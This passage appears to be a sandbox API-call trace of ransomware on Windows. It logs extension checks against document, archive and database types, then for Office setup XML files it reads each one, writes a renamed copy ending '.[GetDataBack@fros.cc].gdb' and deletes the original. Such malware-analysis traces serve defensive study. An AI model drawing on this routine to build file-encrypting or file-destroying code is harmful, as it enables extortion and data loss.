(lpString=".doc") returned 4 [0117.467] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0117.467] lstrlenW (lpString=".docx") returned 5 [0117.467] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0117.467] lstrlenW (lpString=".pdf") returned 4 [0117.467] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0117.467] lstrlenW (lpString=".xls") returned 4 [0117.467] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0117.467] lstrlenW (lpString=".xlsx") returned 5 [0117.467] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0117.467] lstrlenW (lpString=".ppt") returned 4 [0117.467] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0117.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.467] lstrlenW (lpString=".zip") returned 4 [0117.467] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0117.467] lstrlenW (lpString=".rar") returned 4 [0117.467] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0117.467] lstrlenW (lpString=".bz2") returned 4 [0117.467] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0117.467] lstrlenW (lpString=".7z") returned 3 [0117.467] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0117.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.467] lstrlenW (lpString=".dbf") returned 4 [0117.467] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0117.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.467] lstrlenW (lpString=".1cd") returned 4 [0117.468] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString=".jpg") returned 4 [0117.468] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString=".doc") returned 4 [0117.468] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0117.468] lstrlenW (lpString=".docx") returned 5 [0117.468] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0117.468] lstrlenW (lpString=".pdf") returned 4 [0117.468] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString=".xls") returned 4 [0117.468] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString=".xlsx") returned 5 [0117.468] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0117.468] lstrlenW (lpString=".ppt") returned 4 [0117.468] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString=".zip") returned 4 [0117.468] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString=".rar") returned 4 [0117.468] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0117.468] lstrlenW (lpString=".bz2") returned 4 [0117.468] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0117.468] lstrlenW (lpString=".7z") returned 3 [0117.468] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString=".dbf") returned 4 [0117.468] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0117.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.468] lstrlenW (lpString=".1cd") returned 4 [0117.468] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0117.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0117.469] lstrlenW (lpString=".jpg") returned 4 [0117.469] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0117.469] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0117.469] lstrlenW (lpString="AccessMUI.XML") returned 13 [0117.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.470] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1349) returned 1 [0117.470] CloseHandle (hObject=0x1c0) returned 1 [0117.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0117.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.470] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.470] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0117.471] GetLastError () returned 0x0 [0117.471] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x545, lpOverlapped=0x0) returned 1 [0117.472] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x550, lpOverlapped=0x0) returned 1 [0117.474] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0117.474] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xee, lpOverlapped=0x0) returned 1 [0117.474] SetEndOfFile (hFile=0x1d4) returned 1 [0117.474] CloseHandle (hObject=0x1d4) returned 1 [0117.475] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.475] SetEndOfFile (hFile=0x1c0) returned 1 [0117.476] CloseHandle (hObject=0x1c0) returned 1 [0117.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0117.476] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0117.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.476] lstrlenW (lpString=".doc") returned 4 [0117.476] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.476] lstrlenW (lpString=".docx") returned 5 [0117.476] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0117.476] lstrlenW (lpString=".pdf") returned 4 [0117.476] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.476] lstrlenW (lpString=".xls") returned 4 [0117.476] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.476] lstrlenW (lpString=".xlsx") returned 5 [0117.476] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0117.477] lstrlenW (lpString=".ppt") returned 4 [0117.477] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString=".zip") returned 4 [0117.477] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.477] lstrlenW (lpString=".rar") returned 4 [0117.477] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString=".bz2") returned 4 [0117.477] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString=".7z") returned 3 [0117.477] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString=".dbf") returned 4 [0117.477] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString=".1cd") returned 4 [0117.477] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString=".jpg") returned 4 [0117.477] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.477] lstrlenW (lpString=".doc") returned 4 [0117.477] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString=".docx") returned 5 [0117.477] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0117.477] lstrlenW (lpString=".pdf") returned 4 [0117.477] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString=".xls") returned 4 [0117.477] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.477] lstrlenW (lpString=".xlsx") returned 5 [0117.477] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0117.477] lstrlenW (lpString=".ppt") returned 4 [0117.477] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.478] lstrlenW (lpString=".zip") returned 4 [0117.478] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.478] lstrlenW (lpString=".rar") returned 4 [0117.478] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.478] lstrlenW (lpString=".bz2") returned 4 [0117.478] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.478] lstrlenW (lpString=".7z") returned 3 [0117.478] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.478] lstrlenW (lpString=".dbf") returned 4 [0117.478] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.478] lstrlenW (lpString=".1cd") returned 4 [0117.478] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0117.478] lstrlenW (lpString=".jpg") returned 4 [0117.478] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.478] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0117.478] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0117.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.479] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=819) returned 1 [0117.479] CloseHandle (hObject=0x1c0) returned 1 [0117.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0117.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0117.480] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.480] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0117.481] GetLastError () returned 0x0 [0117.481] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x333, lpOverlapped=0x0) returned 1 [0117.482] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x340, lpOverlapped=0x0) returned 1 [0117.483] ReadFile (in: hFile=0x1c0, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0117.483] WriteFile (in: hFile=0x1d4, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf4, lpOverlapped=0x0) returned 1 [0117.484] SetEndOfFile (hFile=0x1d4) returned 1 [0117.484] CloseHandle (hObject=0x1d4) returned 1 [0117.484] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.485] SetEndOfFile (hFile=0x1c0) returned 1 [0117.485] CloseHandle (hObject=0x1c0) returned 1 [0117.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0117.486] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0117.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.486] lstrlenW (lpString=".doc") returned 4 [0117.486] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.486] lstrlenW (lpString=".docx") returned 5 [0117.486] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0117.486] lstrlenW (lpString=".pdf") returned 4 [0117.486] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.486] lstrlenW (lpString=".xls") returned 4 [0117.486] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.486] lstrlenW (lpString=".xlsx") returned 5 [0117.487] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0117.487] lstrlenW (lpString=".ppt") returned 4 [0117.487] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString=".zip") returned 4 [0117.487] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.487] lstrlenW (lpString=".rar") returned 4 [0117.487] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString=".bz2") returned 4 [0117.487] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString=".7z") returned 3 [0117.487] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString=".dbf") returned 4 [0117.487] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString=".1cd") returned 4 [0117.487] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString=".jpg") returned 4 [0117.487] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.487] lstrlenW (lpString=".doc") returned 4 [0117.487] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0117.487] lstrlenW (lpString=".docx") returned 5 [0117.487] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0117.487] lstrlenW (lpString=".pdf") returned 4 [0117.488] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString=".xls") returned 4 [0117.488] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString=".xlsx") returned 5 [0117.488] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0117.488] lstrlenW (lpString=".ppt") returned 4 [0117.488] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.488] lstrlenW (lpString=".zip") returned 4 [0117.488] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0117.488] lstrlenW (lpString=".rar") returned 4 [0117.488] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString=".bz2") returned 4 [0117.488] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString=".7z") returned 3 [0117.488] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0117.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.488] lstrlenW (lpString=".dbf") returned 4 [0117.488] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.488] lstrlenW (lpString=".1cd") returned 4 [0117.488] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0117.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0117.488] lstrlenW (lpString=".jpg") returned 4 [0117.488] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0117.488] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0117.488] lstrlenW (lpString="SETUP.XML") returned 9 [0117.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0117.957] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=2624) returned 1 [0117.957] CloseHandle (hObject=0x194) returned 1 [0117.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0117.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0117.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0117.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0117.958] GetLastError () returned 0x0 [0117.958] ReadFile (in: hFile=0x194, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xa40, lpOverlapped=0x0) returned 1 [0118.073] WriteFile (in: hFile=0x18c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xa50, lpOverlapped=0x0) returned 1 [0118.073] ReadFile (in: hFile=0x194, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0118.074] WriteFile (in: hFile=0x18c, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0118.074] SetEndOfFile (hFile=0x18c) returned 1 [0118.074] CloseHandle (hObject=0x18c) returned 1 [0118.075] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) 